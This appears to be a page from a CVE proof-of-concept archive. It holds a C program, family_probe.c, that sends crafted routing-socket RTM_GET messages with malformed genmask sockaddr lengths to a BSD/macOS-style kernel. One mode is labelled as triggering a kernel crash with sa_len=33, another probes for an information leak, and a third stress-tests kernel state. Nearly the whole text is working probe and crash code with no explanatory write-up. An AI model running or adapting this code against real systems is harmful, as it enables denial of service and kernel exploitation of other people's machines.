5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / family_probe.c C
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <net/if.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>

#define RTM_VERSION 5
#define RTM_GET     4

struct rt_metrics {
    uint32_t rmx_locks, rmx_mtu, rmx_hopcount;
    int32_t rmx_expire;
    uint32_t rmx_recvpipe, rmx_sendpipe, rmx_ssthresh;
    uint32_t rmx_rtt, rmx_rttvar, rmx_pksent, rmx_state;
    uint32_t rmx_filler[3];
};
struct rt_msghdr {
    unsigned short rtm_msglen; unsigned char rtm_version; unsigned char rtm_type;
    unsigned short rtm_index; int rtm_flags; int rtm_addrs;
    int rtm_pid; int rtm_seq; int rtm_errno;
    int rtm_use; unsigned int rtm_inits; struct rt_metrics rtm_rmx;
};

static void test_genmask(int gm_family, int gm_len, const char *label) {
    int fd = socket(PF_ROUTE, SOCK_RAW, 0);
    if (fd < 0) { printf("[%s] socket fail\n", label); return; }

    char buf[2048]; memset(buf, 0, sizeof(buf));
    struct rt_msghdr *rtm = (struct rt_msghdr *)buf;
    rtm->rtm_type = RTM_GET;
    rtm->rtm_version = RTM_VERSION;
    rtm->rtm_seq = 1;
    rtm->rtm_addrs = 0x09;

    int off = sizeof(*rtm);
    struct sockaddr_in *dst = (struct sockaddr_in *)(buf + off);
    dst->sin_family = AF_INET;
    dst->sin_len = sizeof(*dst);
    dst->sin_addr.s_addr = inet_addr("8.8.8.8");
    off += sizeof(*dst);

    buf[off] = gm_len;
    buf[off+1] = gm_family;
    int padded = (gm_len + 3) & ~3;
    if (padded < 4) padded = 4;
    off += padded;
    rtm->rtm_msglen = off;

    ssize_t s = write(fd, buf, rtm->rtm_msglen);
    printf("[%s] fam=%d len=%d write=%zd e=%d", label, gm_family, gm_len, s, s<0?errno:0);

    if (s > 0) {
        struct timeval tv = {.tv_sec = 0, .tv_usec = 200000};
        setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
        ssize_t r = read(fd, buf, sizeof(buf));
        if (r > 0) {
            struct rt_msghdr *resp = (struct rt_msghdr *)buf;
            printf(" read=%zd type=%u err=%d addrs=0x%x", r, resp->rtm_type, resp->rtm_errno, resp->rtm_addrs);
            if (resp->rtm_addrs & 0x08) {
                printf(" GENMASK_IN_RESP!");
                int sa_off = sizeof(*resp);
                for (int bit = 0; bit < 3; bit++) {
                    if (resp->rtm_addrs & (1 << bit)) {
                        int sa_l = (unsigned char)buf[sa_off];
                        sa_off += (sa_l + 3) & ~3;
                    }
                }
                if (sa_off < r) {
                    int gm_resp_len = (unsigned char)buf[sa_off];
                    printf(" gm_sa_len=%d", gm_resp_len);
                    printf(" gm_data=");
                    for (int i = 0; i < gm_resp_len && sa_off+i < r && i < 32; i++)
                        printf("%02x", (unsigned char)buf[sa_off+i]);
                }
            }
        }
    }
    printf("\n");
    close(fd);
}

int main(int argc, char **argv) {
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGPIPE, SIG_IGN);

    if (argc < 2) {
        printf("Usage: %s <test>\n");
        printf("  1 = Different families with sa_len=16 (safe)\n");
        printf("  2 = Repeated writes sa_len=32 (safe, check state corruption)\n");
        printf("  3 = sa_len=33 crash with different families\n");
        printf("  4 = Read back after safe write (info leak check)\n");
        return 1;
    }
    int test = atoi(argv[1]);

    switch (test) {
    case 1:
        printf("=== Different families, sa_len=16 (safe range) ===\n");
        test_genmask(0, 16, "AF_UNSPEC");
        test_genmask(2, 16, "AF_INET");
        test_genmask(30, 16, "AF_INET6");
        test_genmask(18, 16, "AF_LINK");
        test_genmask(255, 16, "AF_MAX");
        test_genmask(1, 16, "AF_UNIX");
        break;

    case 2:
        printf("=== Repeated safe writes (sa_len=32) — check for state corruption ===\n");
        for (int i = 0; i < 100; i++) {
            test_genmask(2, 32, "repeat");
        }
        printf("Survived 100 iterations\n");

        printf("\n=== Now check if routing still works ===\n");
        {
            int fd = socket(PF_ROUTE, SOCK_RAW, 0);
            char buf[256]; memset(buf, 0, sizeof(buf));
            struct rt_msghdr *rtm = (struct rt_msghdr *)buf;
            rtm->rtm_type = RTM_GET; rtm->rtm_version = RTM_VERSION;
            rtm->rtm_seq = 999; rtm->rtm_addrs = 0x01;
            struct sockaddr_in *dst = (struct sockaddr_in *)(buf + sizeof(*rtm));
            dst->sin_family = AF_INET; dst->sin_len = sizeof(*dst);
            dst->sin_addr.s_addr = inet_addr("1.1.1.1");
            rtm->rtm_msglen = sizeof(*rtm) + sizeof(*dst);
            ssize_t s = write(fd, buf, rtm->rtm_msglen);
            ssize_t r = read(fd, buf, sizeof(buf));
            printf("Post-stress RTM_GET 1.1.1.1: write=%zd read=%zd err=%d\n",
                s, r, r>0?((struct rt_msghdr*)buf)->rtm_errno:-1);
            close(fd);
        }
        break;

    case 3:
        printf("=== sa_len=33 with different families (ALL WILL CRASH) ===\n");
        printf("Testing AF_UNSPEC first...\n");
        test_genmask(0, 33, "AF_UNSPEC_33");
        break;

    case 4:
        printf("=== Read back genmask after safe write ===\n");
        test_genmask(2, 16, "write16");
        printf("\nNow query the route and check if genmask appears in response:\n");
        {
            int fd = socket(PF_ROUTE, SOCK_RAW, 0);
            char buf[512]; memset(buf, 0, sizeof(buf));
            struct rt_msghdr *rtm = (struct rt_msghdr *)buf;
            rtm->rtm_type = RTM_GET; rtm->rtm_version = RTM_VERSION;
            rtm->rtm_seq = 2; rtm->rtm_addrs = 0x01;
            struct sockaddr_in *dst = (struct sockaddr_in *)(buf + sizeof(*rtm));
            dst->sin_family = AF_INET; dst->sin_len = sizeof(*dst);
            dst->sin_addr.s_addr = inet_addr("8.8.8.8");
            rtm->rtm_msglen = sizeof(*rtm) + sizeof(*dst);
            ssize_t s = write(fd, buf, rtm->rtm_msglen);
            ssize_t r = read(fd, buf, sizeof(buf));
            struct rt_msghdr *resp = (struct rt_msghdr *)buf;
            printf("RTM_GET response: %zd bytes addrs=0x%x\n", r, r>0?resp->rtm_addrs:0);
            if (r > 0 && (resp->rtm_addrs & 0x08)) {
                printf("GENMASK present in response! Parsing...\n");
                int sa_off = sizeof(*resp);
                for (int bit = 0; bit < 3; bit++) {
                    if (resp->rtm_addrs & (1 << bit)) {
                        int sa_l = (unsigned char)buf[sa_off];
                        if (sa_l == 0) sa_l = 4;
                        sa_off += (sa_l + 3) & ~3;
                    }
                }
                printf("Genmask at offset %d: ", sa_off);
                for (int i = 0; i < 32 && sa_off+i < r; i++)
                    printf("%02x", (unsigned char)buf[sa_off+i]);
                printf("\n");
            } else {
                printf("No GENMASK in response (rt->rt_genmask is NULL for this route)\n");
            }
            close(fd);
        }
        break;
    }

    printf("\nSURVIVED\n");
    return 0;
}